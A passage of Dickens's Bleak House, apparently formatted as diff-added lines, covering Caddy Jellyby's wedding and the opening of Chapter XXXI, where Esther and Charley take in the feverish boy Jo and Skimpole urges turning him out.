+our house would be a place for him to come and find some comfort in
+of an evening and that I hoped and thought I could be a better
+daughter to him there than at home. Then I mentioned Peepy's coming
+to stay with me, and then Pa began to cry again and said the children
+were Indians."
+
+"Indians, Caddy?"
+
+"Yes," said Caddy, "wild Indians. And Pa said"--here she began to
+sob, poor girl, not at all like the happiest girl in the world--"that
+he was sensible the best thing that could happen to them was their
+being all tomahawked together."
+
+Ada suggested that it was comfortable to know that Mr. Jellyby did
+not mean these destructive sentiments.
+
+"No, of course I know Pa wouldn't like his family to be weltering in
+their blood," said Caddy, "but he means that they are very
+unfortunate in being Ma's children and that he is very unfortunate in
+being Ma's husband; and I am sure that's true, though it seems
+unnatural to say so."
+
+I asked Caddy if Mrs. Jellyby knew that her wedding-day was fixed.
+
+"Oh! You know what Ma is, Esther," she returned. "It's impossible to
+say whether she knows it or not. She has been told it often enough;
+and when she IS told it, she only gives me a placid look, as if I was
+I don't know what--a steeple in the distance," said Caddy with a
+sudden idea; "and then she shakes her head and says 'Oh, Caddy,
+Caddy, what a tease you are!' and goes on with the Borrioboola
+letters."
+
+"And about your wardrobe, Caddy?" said I. For she was under no
+restraint with us.
+
+"Well, my dear Esther," she returned, drying her eyes, "I must do the
+best I can and trust to my dear Prince never to have an unkind
+remembrance of my coming so shabbily to him. If the question
+concerned an outfit for Borrioboola, Ma would know all about it and
+would be quite excited. Being what it is, she neither knows nor
+cares."
+
+Caddy was not at all deficient in natural affection for her mother,
+but mentioned this with tears as an undeniable fact, which I am
+afraid it was. We were sorry for the poor dear girl and found so much
+to admire in the good disposition which had survived under such
+discouragement that we both at once (I mean Ada and I) proposed a
+little scheme that made her perfectly joyful. This was her staying
+with us for three weeks, my staying with her for one, and our all
+three contriving and cutting out, and repairing, and sewing, and
+saving, and doing the very best we could think of to make the most of
+her stock. My guardian being as pleased with the idea as Caddy was,
+we took her home next day to arrange the matter and brought her out
+again in triumph with her boxes and all the purchases that could be
+squeezed out of a ten-pound note, which Mr. Jellyby had found in the
+docks I suppose, but which he at all events gave her. What my
+guardian would not have given her if we had encouraged him, it would
+be difficult to say, but we thought it right to compound for no more
+than her wedding-dress and bonnet. He agreed to this compromise, and
+if Caddy had ever been happy in her life, she was happy when we sat
+down to work.
+
+She was clumsy enough with her needle, poor girl, and pricked her
+fingers as much as she had been used to ink them. She could not help
+reddening a little now and then, partly with the smart and partly
+with vexation at being able to do no better, but she soon got over
+that and began to improve rapidly. So day after day she, and my
+darling, and my little maid Charley, and a milliner out of the town,
+and I, sat hard at work, as pleasantly as possible.
+
+Over and above this, Caddy was very anxious "to learn housekeeping,"
+as she said. Now, mercy upon us! The idea of her learning
+housekeeping of a person of my vast experience was such a joke that I
+laughed, and coloured up, and fell into a comical confusion when she
+proposed it. However, I said, "Caddy, I am sure you are very welcome
+to learn anything that you can learn of ME, my dear," and I showed
+her all my books and methods and all my fidgety ways. You would have
+supposed that I was showing her some wonderful inventions, by her
+study of them; and if you had seen her, whenever I jingled my
+housekeeping keys, get up and attend me, certainly you might have
+thought that there never was a greater imposter than I with a blinder
+follower than Caddy Jellyby.
+
+So what with working and housekeeping, and lessons to Charley, and
+backgammon in the evening with my guardian, and duets with Ada, the
+three weeks slipped fast away. Then I went home with Caddy to see
+what could be done there, and Ada and Charley remained behind to take
+care of my guardian.
+
+When I say I went home with Caddy, I mean to the furnished lodging in
+Hatton Garden. We went to Newman Street two or three times, where
+preparations were in progress too--a good many, I observed, for
+enhancing the comforts of old Mr. Turveydrop, and a few for putting
+the newly married couple away cheaply at the top of the house--but
+our great point was to make the furnished lodging decent for the
+wedding-breakfast and to imbue Mrs. Jellyby beforehand with some
+faint sense of the occasion.
+
+The latter was the more difficult thing of the two because Mrs.
+Jellyby and an unwholesome boy occupied the front sitting-room (the
+back one was a mere closet), and it was littered down with
+waste-paper and Borrioboolan documents, as an untidy stable might be
+littered with straw. Mrs. Jellyby sat there all day drinking strong
+coffee, dictating, and holding Borrioboolan interviews by
+appointment. The unwholesome boy, who seemed to me to be going into a
+decline, took his meals out of the house. When Mr. Jellyby came home,
+he usually groaned and went down into the kitchen. There he got
+something to eat if the servant would give him anything, and then,
+feeling that he was in the way, went out and walked about Hatton
+Garden in the wet. The poor children scrambled up and tumbled down
+the house as they had always been accustomed to do.
+
+The production of these devoted little sacrifices in any presentable
+condition being quite out of the question at a week's notice, I
+proposed to Caddy that we should make them as happy as we could on
+her marriage morning in the attic where they all slept, and should
+confine our greatest efforts to her mama and her mama's room, and a
+clean breakfast. In truth Mrs. Jellyby required a good deal of
+attention, the lattice-work up her back having widened considerably
+since I first knew her and her hair looking like the mane of a
+dustman's horse.
+
+Thinking that the display of Caddy's wardrobe would be the best means
+of approaching the subject, I invited Mrs. Jellyby to come and look
+at it spread out on Caddy's bed in the evening after the unwholesome
+boy was gone.
+
+"My dear Miss Summerson," said she, rising from her desk with her
+usual sweetness of temper, "these are really ridiculous preparations,
+though your assisting them is a proof of your kindness. There is
+something so inexpressibly absurd to me in the idea of Caddy being
+married! Oh, Caddy, you silly, silly, silly puss!"
+
+She came upstairs with us notwithstanding and looked at the clothes
+in her customary far-off manner. They suggested one distinct idea to
+her, for she said with her placid smile, and shaking her head, "My
+good Miss Summerson, at half the cost, this weak child might have
+been equipped for Africa!"
+
+On our going downstairs again, Mrs. Jellyby asked me whether this
+troublesome business was really to take place next Wednesday. And on
+my replying yes, she said, "Will my room be required, my dear Miss
+Summerson? For it's quite impossible that I can put my papers away."
+
+I took the liberty of saying that the room would certainly be wanted
+and that I thought we must put the papers away somewhere. "Well, my
+dear Miss Summerson," said Mrs. Jellyby, "you know best, I dare say.
+But by obliging me to employ a boy, Caddy has embarrassed me to that
+extent, overwhelmed as I am with public business, that I don't know
+which way to turn. We have a Ramification meeting, too, on Wednesday
+afternoon, and the inconvenience is very serious."
+
+"It is not likely to occur again," said I, smiling. "Caddy will be
+married but once, probably."
+
+"That's true," Mrs. Jellyby replied; "that's true, my dear. I suppose
+we must make the best of it!"
+
+The next question was how Mrs. Jellyby should be dressed on the
+occasion. I thought it very curious to see her looking on serenely
+from her writing-table while Caddy and I discussed it, occasionally
+shaking her head at us with a half-reproachful smile like a superior
+spirit who could just bear with our trifling.
+
+The state in which her dresses were, and the extraordinary confusion
+in which she kept them, added not a little to our difficulty; but at
+length we devised something not very unlike what a common-place
+mother might wear on such an occasion. The abstracted manner in which
+Mrs. Jellyby would deliver herself up to having this attire tried on
+by the dressmaker, and the sweetness with which she would then
+observe to me how sorry she was that I had not turned my thoughts to
+Africa, were consistent with the rest of her behaviour.
+
+The lodging was rather confined as to space, but I fancied that if
+Mrs. Jellyby's household had been the only lodgers in Saint Paul's or
+Saint Peter's, the sole advantage they would have found in the size
+of the building would have been its affording a great deal of room to
+be dirty in. I believe that nothing belonging to the family which it
+had been possible to break was unbroken at the time of those
+preparations for Caddy's marriage, that nothing which it had been
+possible to spoil in any way was unspoilt, and that no domestic
+object which was capable of collecting dirt, from a dear child's knee
+to the door-plate, was without as much dirt as could well accumulate
+upon it.
+
+Poor Mr. Jellyby, who very seldom spoke and almost always sat when he
+was at home with his head against the wall, became interested when he
+saw that Caddy and I were attempting to establish some order among
+all this waste and ruin and took off his coat to help. But such
+wonderful things came tumbling out of the closets when they were
+opened--bits of mouldy pie, sour bottles, Mrs. Jellyby's caps,
+letters, tea, forks, odd boots and shoes of children, firewood,
+wafers, saucepan-lids, damp sugar in odds and ends of paper bags,
+footstools, blacklead brushes, bread, Mrs. Jellyby's bonnets, books
+with butter sticking to the binding, guttered candle ends put out
+by being turned upside down in broken candlesticks, nutshells,
+heads and tails of shrimps, dinner-mats, gloves, coffee-grounds,
+umbrellas--that he looked frightened, and left off again. But he came
+regularly every evening and sat without his coat, with his head
+against the wall, as though he would have helped us if he had known
+how.
+
+"Poor Pa!" said Caddy to me on the night before the great day, when
+we really had got things a little to rights. "It seems unkind to
+leave him, Esther. But what could I do if I stayed! Since I first
+knew you, I have tidied and tidied over and over again, but it's
+useless. Ma and Africa, together, upset the whole house directly. We
+never have a servant who don't drink. Ma's ruinous to everything."
+
+Mr. Jellyby could not hear what she said, but he seemed very low
+indeed and shed tears, I thought.
+
+"My heart aches for him; that it does!" sobbed Caddy. "I can't help
+thinking to-night, Esther, how dearly I hope to be happy with Prince,
+and how dearly Pa hoped, I dare say, to be happy with Ma. What a
+disappointed life!"
+
+"My dear Caddy!" said Mr. Jellyby, looking slowly round from the
+wail. It was the first time, I think, I ever heard him say three
+words together.
+
+"Yes, Pa!" cried Caddy, going to him and embracing him
+affectionately.
+
+"My dear Caddy," said Mr. Jellyby. "Never have--"
+
+"Not Prince, Pa?" faltered Caddy. "Not have Prince?"
+
+"Yes, my dear," said Mr. Jellyby. "Have him, certainly. But, never
+have--"
+
+I mentioned in my account of our first visit in Thavies Inn that
+Richard described Mr. Jellyby as frequently opening his mouth after
+dinner without saying anything. It was a habit of his. He opened his
+mouth now a great many times and shook his head in a melancholy
+manner.
+
+"What do you wish me not to have? Don't have what, dear Pa?" asked
+Caddy, coaxing him, with her arms round his neck.
+
+"Never have a mission, my dear child."
+
+Mr. Jellyby groaned and laid his head against the wall again, and
+this was the only time I ever heard him make any approach to
+expressing his sentiments on the Borrioboolan question. I suppose he
+had been more talkative and lively once, but he seemed to have been
+completely exhausted long before I knew him.
+
+I thought Mrs. Jellyby never would have left off serenely looking
+over her papers and drinking coffee that night. It was twelve o'clock
+before we could obtain possession of the room, and the clearance it
+required then was so discouraging that Caddy, who was almost tired
+out, sat down in the middle of the dust and cried. But she soon
+cheered up, and we did wonders with it before we went to bed.
+
+In the morning it looked, by the aid of a few flowers and a quantity
+of soap and water and a little arrangement, quite gay. The plain
+breakfast made a cheerful show, and Caddy was perfectly charming. But
+when my darling came, I thought--and I think now--that I never had
+seen such a dear face as my beautiful pet's.
+
+We made a little feast for the children upstairs, and we put Peepy at
+the head of the table, and we showed them Caddy in her bridal dress,
+and they clapped their hands and hurrahed, and Caddy cried to think
+that she was going away from them and hugged them over and over again
+until we brought Prince up to fetch her away--when, I am sorry to
+say, Peepy bit him. Then there was old Mr. Turveydrop downstairs, in
+a state of deportment not to be expressed, benignly blessing Caddy
+and giving my guardian to understand that his son's happiness was his
+own parental work and that he sacrificed personal considerations to
+ensure it. "My dear sir," said Mr. Turveydrop, "these young people
+will live with me; my house is large enough for their accommodation,
+and they shall not want the shelter of my roof. I could have
+wished--you will understand the allusion, Mr. Jarndyce, for you
+remember my illustrious patron the Prince Regent--I could have
+wished that my son had married into a family where there was more
+deportment, but the will of heaven be done!"
+
+Mr. and Mrs. Pardiggle were of the party--Mr. Pardiggle, an
+obstinate-looking man with a large waistcoat and stubbly hair, who
+was always talking in a loud bass voice about his mite, or Mrs.
+Pardiggle's mite, or their five boys' mites. Mr. Quale, with his hair
+brushed back as usual and his knobs of temples shining very much, was
+also there, not in the character of a disappointed lover, but as the
+accepted of a young--at least, an unmarried--lady, a Miss Wisk, who
+was also there. Miss Wisk's mission, my guardian said, was to show
+the world that woman's mission was man's mission and that the only
+genuine mission of both man and woman was to be always moving
+declaratory resolutions about things in general at public meetings.
+The guests were few, but were, as one might expect at Mrs. Jellyby's,
+all devoted to public objects only. Besides those I have mentioned,
+there was an extremely dirty lady with her bonnet all awry and the
+ticketed price of her dress still sticking on it, whose neglected
+home, Caddy told me, was like a filthy wilderness, but whose church
+was like a fancy fair. A very contentious gentleman, who said it was
+his mission to be everybody's brother but who appeared to be on terms
+of coolness with the whole of his large family, completed the party.
+
+A party, having less in common with such an occasion, could hardly
+have been got together by any ingenuity. Such a mean mission as the
+domestic mission was the very last thing to be endured among them;
+indeed, Miss Wisk informed us, with great indignation, before we sat
+down to breakfast, that the idea of woman's mission lying chiefly in
+the narrow sphere of home was an outrageous slander on the part of
+her tyrant, man. One other singularity was that nobody with a
+mission--except Mr. Quale, whose mission, as I think I have formerly
+said, was to be in ecstasies with everybody's mission--cared at all
+for anybody's mission. Mrs. Pardiggle being as clear that the only
+one infallible course was her course of pouncing upon the poor and
+applying benevolence to them like a strait-waistcoat; as Miss Wisk
+was that the only practical thing for the world was the emancipation
+of woman from the thraldom of her tyrant, man. Mrs. Jellyby, all the
+while, sat smiling at the limited vision that could see anything but
+Borrioboola-Gha.
+
+But I am anticipating now the purport of our conversation on the ride
+home instead of first marrying Caddy. We all went to church, and Mr.
+Jellyby gave her away. Of the air with which old Mr. Turveydrop, with
+his hat under his left arm (the inside presented at the clergyman
+like a cannon) and his eyes creasing themselves up into his wig,
+stood stiff and high-shouldered behind us bridesmaids during the
+ceremony, and afterwards saluted us, I could never say enough to do
+it justice. Miss Wisk, whom I cannot report as prepossessing in
+appearance, and whose manner was grim, listened to the proceedings,
+as part of woman's wrongs, with a disdainful face. Mrs. Jellyby, with
+her calm smile and her bright eyes, looked the least concerned of all
+the company.
+
+We duly came back to breakfast, and Mrs. Jellyby sat at the head of
+the table and Mr. Jellyby at the foot. Caddy had previously stolen
+upstairs to hug the children again and tell them that her name was
+Turveydrop. But this piece of information, instead of being an
+agreeable surprise to Peepy, threw him on his back in such transports
+of kicking grief that I could do nothing on being sent for but accede
+to the proposal that he should be admitted to the breakfast table. So
+he came down and sat in my lap; and Mrs. Jellyby, after saying, in
+reference to the state of his pinafore, "Oh, you naughty Peepy, what
+a shocking little pig you are!" was not at all discomposed. He was
+very good except that he brought down Noah with him (out of an ark I
+had given him before we went to church) and WOULD dip him head first
+into the wine-glasses and then put him in his mouth.
+
+My guardian, with his sweet temper and his quick perception and his
+amiable face, made something agreeable even out of the ungenial
+company. None of them seemed able to talk about anything but his, or
+her, own one subject, and none of them seemed able to talk about even
+that as part of a world in which there was anything else; but my
+guardian turned it all to the merry encouragement of Caddy and the
+honour of the occasion, and brought us through the breakfast nobly.
+What we should have done without him, I am afraid to think, for all
+the company despising the bride and bridegroom and old Mr.
+Turveydrop--and old Mr. Thurveydrop, in virtue of his deportment,
+considering himself vastly superior to all the company--it was a very
+unpromising case.
+
+At last the time came when poor Caddy was to go and when all her
+property was packed on the hired coach and pair that was to take her
+and her husband to Gravesend. It affected us to see Caddy clinging,
+then, to her deplorable home and hanging on her mother's neck with
+the greatest tenderness.
+
+"I am very sorry I couldn't go on writing from dictation, Ma," sobbed
+Caddy. "I hope you forgive me now."
+
+"Oh, Caddy, Caddy!" said Mrs. Jellyby. "I have told you over and over
+again that I have engaged a boy, and there's an end of it."
+
+"You are sure you are not the least angry with me, Ma? Say you are
+sure before I go away, Ma?"
+
+"You foolish Caddy," returned Mrs. Jellyby, "do I look angry, or have
+I inclination to be angry, or time to be angry? How CAN you?"
+
+"Take a little care of Pa while I am gone, Mama!"
+
+Mrs. Jellyby positively laughed at the fancy. "You romantic child,"
+said she, lightly patting Caddy's back. "Go along. I am excellent
+friends with you. Now, good-bye, Caddy, and be very happy!"
+
+Then Caddy hung upon her father and nursed his cheek against hers as
+if he were some poor dull child in pain. All this took place in the
+hall. Her father released her, took out his pocket handkerchief, and
+sat down on the stairs with his head against the wall. I hope he
+found some consolation in walls. I almost think he did.
+
+And then Prince took her arm in his and turned with great emotion and
+respect to his father, whose deportment at that moment was
+overwhelming.
+
+"Thank you over and over again, father!" said Prince, kissing his
+hand. "I am very grateful for all your kindness and consideration
+regarding our marriage, and so, I can assure you, is Caddy."
+
+"Very," sobbed Caddy. "Ve-ry!"
+
+"My dear son," said Mr. Turveydrop, "and dear daughter, I have done
+my duty. If the spirit of a sainted wooman hovers above us and looks
+down on the occasion, that, and your constant affection, will be my
+recompense. You will not fail in YOUR duty, my son and daughter, I
+believe?"
+
+"Dear father, never!" cried Prince.
+
+"Never, never, dear Mr. Turveydrop!" said Caddy.
+
+"This," returned Mr. Turveydrop, "is as it should be. My children, my
+home is yours, my heart is yours, my all is yours. I will never leave
+you; nothing but death shall part us. My dear son, you contemplate an
+absence of a week, I think?"
+
+"A week, dear father. We shall return home this day week."
+
+"My dear child," said Mr. Turveydrop, "let me, even under the present
+exceptional circumstances, recommend strict punctuality. It is highly
+important to keep the connexion together; and schools, if at all
+neglected, are apt to take offence."
+
+"This day week, father, we shall be sure to be home to dinner."
+
+"Good!" said Mr. Turveydrop. "You will find fires, my dear Caroline,
+in your own room, and dinner prepared in my apartment. Yes, yes,
+Prince!" anticipating some self-denying objection on his son's part
+with a great air. "You and our Caroline will be strange in the upper
+part of the premises and will, therefore, dine that day in my
+apartment. Now, bless ye!"
+
+They drove away, and whether I wondered most at Mrs. Jellyby or at
+Mr. Turveydrop, I did not know. Ada and my guardian were in the same
+condition when we came to talk it over. But before we drove away too,
+I received a most unexpected and eloquent compliment from Mr.
+Jellyby. He came up to me in the hall, took both my hands, pressed
+them earnestly, and opened his mouth twice. I was so sure of his
+meaning that I said, quite flurried, "You are very welcome, sir. Pray
+don't mention it!"
+
+"I hope this marriage is for the best, guardian," said I when we
+three were on our road home.
+
+"I hope it is, little woman. Patience. We shall see."
+
+"Is the wind in the east to-day?" I ventured to ask him.
+
+He laughed heartily and answered, "No."
+
+"But it must have been this morning, I think," said I.
+
+He answered "No" again, and this time my dear girl confidently
+answered "No" too and shook the lovely head which, with its blooming
+flowers against the golden hair, was like the very spring. "Much YOU
+know of east winds, my ugly darling," said I, kissing her in my
+admiration--I couldn't help it.
+
+Well! It was only their love for me, I know very well, and it is a
+long time ago. I must write it even if I rub it out again, because it
+gives me so much pleasure. They said there could be no east wind
+where Somebody was; they said that wherever Dame Durden went, there
+was sunshine and summer air.
+
+
+
+
+CHAPTER XXXI
+
+Nurse and Patient
+
+
+I had not been at home again many days when one evening I went
+upstairs into my own room to take a peep over Charley's shoulder and
+see how she was getting on with her copy-book. Writing was a trying
+business to Charley, who seemed to have no natural power over a pen,
+but in whose hand every pen appeared to become perversely animated,
+and to go wrong and crooked, and to stop, and splash, and sidle into
+corners like a saddle-donkey. It was very odd to see what old letters
+Charley's young hand had made, they so wrinkled, and shrivelled, and
+tottering, it so plump and round. Yet Charley was uncommonly expert
+at other things and had as nimble little fingers as I ever watched.
+
+"Well, Charley," said I, looking over a copy of the letter O in which
+it was represented as square, triangular, pear-shaped, and collapsed
+in all kinds of ways, "we are improving. If we only get to make it
+round, we shall be perfect, Charley."
+
+Then I made one, and Charley made one, and the pen wouldn't join
+Charley's neatly, but twisted it up into a knot.
+
+"Never mind, Charley. We shall do it in time."
+
+Charley laid down her pen, the copy being finished, opened and shut
+her cramped little hand, looked gravely at the page, half in pride
+and half in doubt, and got up, and dropped me a curtsy.
+
+"Thank you, miss. If you please, miss, did you know a poor person of
+the name of Jenny?"
+
+"A brickmaker's wife, Charley? Yes."
+
+"She came and spoke to me when I was out a little while ago, and said
+you knew her, miss. She asked me if I wasn't the young lady's little
+maid--meaning you for the young lady, miss--and I said yes, miss."
+
+"I thought she had left this neighbourhood altogether, Charley."
+
+"So she had, miss, but she's come back again to where she used to
+live--she and Liz. Did you know another poor person of the name of
+Liz, miss?"
+
+"I think I do, Charley, though not by name."
+
+"That's what she said!" returned Charley. "They have both come back,
+miss, and have been tramping high and low."
+
+"Tramping high and low, have they, Charley?"
+
+"Yes, miss." If Charley could only have made the letters in her copy
+as round as the eyes with which she looked into my face, they would
+have been excellent. "And this poor person came about the house three
+or four days, hoping to get a glimpse of you, miss--all she wanted,
+she said--but you were away. That was when she saw me. She saw me
+a-going about, miss," said Charley with a short laugh of the greatest
+delight and pride, "and she thought I looked like your maid!"
+
+"Did she though, really, Charley?"
+
+"Yes, miss!" said Charley. "Really and truly." And Charley, with
+another short laugh of the purest glee, made her eyes very round
+again and looked as serious as became my maid. I was never tired of
+seeing Charley in the full enjoyment of that great dignity, standing
+before me with her youthful face and figure, and her steady manner,
+and her childish exultation breaking through it now and then in the
+pleasantest way.
+
+"And where did you see her, Charley?" said I.
+
+My little maid's countenance fell as she replied, "By the doctor's
+shop, miss." For Charley wore her black frock yet.
+
+I asked if the brickmaker's wife were ill, but Charley said no. It
+was some one else. Some one in her cottage who had tramped down to
+Saint Albans and was tramping he didn't know where. A poor boy,
+Charley said. No father, no mother, no any one. "Like as Tom might
+have been, miss, if Emma and me had died after father," said Charley,
+her round eyes filling with tears.
+
+"And she was getting medicine for him, Charley?"
+
+"She said, miss," returned Charley, "how that he had once done as
+much for her."
+
+My little maid's face was so eager and her quiet hands were folded so
+closely in one another as she stood looking at me that I had no great
+difficulty in reading her thoughts. "Well, Charley," said I, "it
+appears to me that you and I can do no better than go round to
+Jenny's and see what's the matter."
+
+The alacrity with which Charley brought my bonnet and veil, and
+having dressed me, quaintly pinned herself into her warm shawl and
+made herself look like a little old woman, sufficiently expressed her
+readiness. So Charley and I, without saying anything to any one, went
+out.
+
+It was a cold, wild night, and the trees shuddered in the wind. The
+rain had been thick and heavy all day, and with little intermission
+for many days. None was falling just then, however. The sky had
+partly cleared, but was very gloomy--even above us, where a few stars
+were shining. In the north and north-west, where the sun had set
+three hours before, there was a pale dead light both beautiful and
+awful; and into it long sullen lines of cloud waved up like a sea
+stricken immovable as it was heaving. Towards London a lurid glare
+overhung the whole dark waste, and the contrast between these two
+lights, and the fancy which the redder light engendered of an
+unearthly fire, gleaming on all the unseen buildings of the city and
+on all the faces of its many thousands of wondering inhabitants, was
+as solemn as might be.
+
+I had no thought that night--none, I am quite sure--of what was soon
+to happen to me. But I have always remembered since that when we had
+stopped at the garden-gate to look up at the sky, and when we went
+upon our way, I had for a moment an undefinable impression of myself
+as being something different from what I then was. I know it was then
+and there that I had it. I have ever since connected the feeling with
+that spot and time and with everything associated with that spot and
+time, to the distant voices in the town, the barking of a dog, and
+the sound of wheels coming down the miry hill.
+
+It was Saturday night, and most of the people belonging to the place
+where we were going were drinking elsewhere. We found it quieter than
+I had previously seen it, though quite as miserable. The kilns were
+burning, and a stifling vapour set towards us with a pale-blue glare.
+
+We came to the cottage, where there was a feeble candle in the
+patched window. We tapped at the door and went in. The mother of the
+little child who had died was sitting in a chair on one side of the
+poor fire by the bed; and opposite to her, a wretched boy, supported
+by the chimney-piece, was cowering on the floor. He held under his
+arm, like a little bundle, a fragment of a fur cap; and as he tried
+to warm himself, he shook until the crazy door and window shook. The
+place was closer than before and had an unhealthy and a very peculiar
+smell.
+
+I had not lifted my veil when I first spoke to the woman, which was
+at the moment of our going in. The boy staggered up instantly and
+stared at me with a remarkable expression of surprise and terror.
+
+His action was so quick and my being the cause of it was so evident
+that I stood still instead of advancing nearer.
+
+"I won't go no more to the berryin ground," muttered the boy; "I
+ain't a-going there, so I tell you!"
+
+I lifted my veil and spoke to the woman. She said to me in a low
+voice, "Don't mind him, ma'am. He'll soon come back to his head," and
+said to him, "Jo, Jo, what's the matter?"
+
+"I know wot she's come for!" cried the boy.
+
+"Who?"
+
+"The lady there. She's come to get me to go along with her to the
+berryin ground. I won't go to the berryin ground. I don't like the
+name on it. She might go a-berryin ME." His shivering came on again,
+and as he leaned against the wall, he shook the hovel.
+
+"He has been talking off and on about such like all day, ma'am," said
+Jenny softly. "Why, how you stare! This is MY lady, Jo."
+
+"Is it?" returned the boy doubtfully, and surveying me with his arm
+held out above his burning eyes. "She looks to me the t'other one. It
+ain't the bonnet, nor yet it ain't the gownd, but she looks to me the
+t'other one."
+
+My little Charley, with her premature experience of illness and
+trouble, had pulled off her bonnet and shawl and now went quietly up
+to him with a chair and sat him down in it like an old sick nurse.
+Except that no such attendant could have shown him Charley's youthful
+face, which seemed to engage his confidence.
+
+"I say!" said the boy. "YOU tell me. Ain't the lady the t'other
+lady?"
+
+Charley shook her head as she methodically drew his rags about him
+and made him as warm as she could.
+
+"Oh!" the boy muttered. "Then I s'pose she ain't."
+
+"I came to see if I could do you any good," said I. "What is the
+matter with you?"
+
+"I'm a-being froze," returned the boy hoarsely, with his haggard gaze
+wandering about me, "and then burnt up, and then froze, and then
+burnt up, ever so many times in a hour. And my head's all sleepy, and
+all a-going mad-like--and I'm so dry--and my bones isn't half so much
+bones as pain.
+
+"When did he come here?" I asked the woman.
+
+"This morning, ma'am, I found him at the corner of the town. I had
+known him up in London yonder. Hadn't I, Jo?"
+
+"Tom-all-Alone's," the boy replied.
+
+Whenever he fixed his attention or his eyes, it was only for a very
+little while. He soon began to droop his head again, and roll it
+heavily, and speak as if he were half awake.
+
+"When did he come from London?" I asked.
+
+"I come from London yes'day," said the boy himself, now flushed and
+hot. "I'm a-going somewheres."
+
+"Where is he going?" I asked.
+
+"Somewheres," repeated the boy in a louder tone. "I have been moved
+on, and moved on, more nor ever I was afore, since the t'other one
+give me the sov'ring. Mrs. Snagsby, she's always a-watching, and
+a-driving of me--what have I done to her?--and they're all a-watching
+and a-driving of me. Every one of 'em's doing of it, from the time
+when I don't get up, to the time when I don't go to bed. And I'm
+a-going somewheres. That's where I'm a-going. She told me, down in
+Tom-all-Alone's, as she came from Stolbuns, and so I took the
+Stolbuns Road. It's as good as another."
+
+He always concluded by addressing Charley.
+
+"What is to be done with him?" said I, taking the woman aside. "He
+could not travel in this state even if he had a purpose and knew
+where he was going!"
+
+"I know no more, ma'am, than the dead," she replied, glancing
+compassionately at him. "Perhaps the dead know better, if they could
+only tell us. I've kept him here all day for pity's sake, and I've
+given him broth and physic, and Liz has gone to try if any one will
+take him in (here's my pretty in the bed--her child, but I call it
+mine); but I can't keep him long, for if my husband was to come home
+and find him here, he'd be rough in putting him out and might do him
+a hurt. Hark! Here comes Liz back!"
+
+The other woman came hurriedly in as she spoke, and the boy got up
+with a half-obscured sense that he was expected to be going. When the
+little child awoke, and when and how Charley got at it, took it out
+of bed, and began to walk about hushing it, I don't know. There she
+was, doing all this in a quiet motherly manner as if she were living
+in Mrs. Blinder's attic with Tom and Emma again.
+
+The friend had been here and there, and had been played about from
+hand to hand, and had come back as she went. At first it was too
+early for the boy to be received into the proper refuge, and at last
+it was too late. One official sent her to another, and the other sent
+her back again to the first, and so backward and forward, until it
+appeared to me as if both must have been appointed for their skill in
+evading their duties instead of performing them. And now, after all,
+she said, breathing quickly, for she had been running and was
+frightened too, "Jenny, your master's on the road home, and mine's
+not far behind, and the Lord help the boy, for we can do no more for
+him!" They put a few halfpence together and hurried them into his
+hand, and so, in an oblivious, half-thankful, half-insensible way, he
+shuffled out of the house.
+
+"Give me the child, my dear," said its mother to Charley, "and thank
+you kindly too! Jenny, woman dear, good night! Young lady, if my
+master don't fall out with me, I'll look down by the kiln by and by,
+where the boy will be most like, and again in the morning!" She
+hurried off, and presently we passed her hushing and singing to her
+child at her own door and looking anxiously along the road for her
+drunken husband.
+
+I was afraid of staying then to speak to either woman, lest I should
+bring her into trouble. But I said to Charley that we must not leave
+the boy to die. Charley, who knew what to do much better than I did,
+and whose quickness equalled her presence of mind, glided on before
+me, and presently we came up with Jo, just short of the brick-kiln.
+
+I think he must have begun his journey with some small bundle under
+his arm and must have had it stolen or lost it. For he still carried
+his wretched fragment of fur cap like a bundle, though he went
+bare-headed through the rain, which now fell fast. He stopped when we
+called to him and again showed a dread of me when I came up, standing
+with his lustrous eyes fixed upon me, and even arrested in his
+shivering fit.
+
+I asked him to come with us, and we would take care that he had some
+shelter for the night.
+
+"I don't want no shelter," he said; "I can lay amongst the warm
+bricks."
+
+"But don't you know that people die there?" replied Charley.
+
+"They dies everywheres," said the boy. "They dies in their
+lodgings--she knows where; I showed her--and they dies down in
+Tom-all-Alone's in heaps. They dies more than they lives, according
+to what I see." Then he hoarsely whispered Charley, "If she ain't the
+t'other one, she ain't the forrenner. Is there THREE of 'em then?"
+
+Charley looked at me a little frightened. I felt half frightened at
+myself when the boy glared on me so.
+
+But he turned and followed when I beckoned to him, and finding that
+he acknowledged that influence in me, I led the way straight home. It
+was not far, only at the summit of the hill. We passed but one man. I
+doubted if we should have got home without assistance, the boy's
+steps were so uncertain and tremulous. He made no complaint, however,
+and was strangely unconcerned about himself, if I may say so strange
+a thing.
+
+Leaving him in the hall for a moment, shrunk into the corner of the
+window-seat and staring with an indifference that scarcely could be
+called wonder at the comfort and brightness about him, I went into
+the drawing-room to speak to my guardian. There I found Mr. Skimpole,
+who had come down by the coach, as he frequently did without notice,
+and never bringing any clothes with him, but always borrowing
+everything he wanted.
+
+They came out with me directly to look at the boy. The servants had
+gathered in the hall too, and he shivered in the window-seat with
+Charley standing by him, like some wounded animal that had been found
+in a ditch.
+
+"This is a sorrowful case," said my guardian after asking him a
+question or two and touching him and examining his eyes. "What do you
+say, Harold?"
+
+"You had better turn him out," said Mr. Skimpole.
+
+"What do you mean?" inquired my guardian, almost sternly.
+
+"My dear Jarndyce," said Mr. Skimpole, "you know what I am: I am a
+child. Be cross to me if I deserve it. But I have a constitutional
+objection to this sort of thing. I always had, when I was a medical
+man. He's not safe, you know. There's a very bad sort of fever about
+him."
+
+Mr. Skimpole had retreated from the hall to the drawing-room again
+and said this in his airy way, seated on the music-stool as we stood
+by.
+
+"You'll say it's childish," observed Mr. Skimpole, looking gaily at
+us. "Well, I dare say it may be; but I AM a child, and I never
+pretend to be anything else. If you put him out in the road, you only
+put him where he was before. He will be no worse off than he was, you
+know. Even make him better off, if you like. Give him sixpence, or
+five shillings, or five pound ten--you are arithmeticians, and I am
+not--and get rid of him!"
+
+"And what is he to do then?" asked my guardian.
+
+"Upon my life," said Mr. Skimpole, shrugging his shoulders with his
+engaging smile, "I have not the least idea what he is to do then. But
+I have no doubt he'll do it."
+
+"Now, is it not a horrible reflection," said my guardian, to whom I
+had hastily explained the unavailing efforts of the two women, "is it
+not a horrible reflection," walking up and down and rumpling his
+hair, "that if this wretched creature were a convicted prisoner, his
+hospital would be wide open to him, and he would be as well taken
+care of as any sick boy in the kingdom?"
+
+"My dear Jarndyce," returned Mr. Skimpole, "you'll pardon the
+simplicity of the question, coming as it does from a creature who is
+perfectly simple in worldly matters, but why ISN'T he a prisoner
+then?"
+
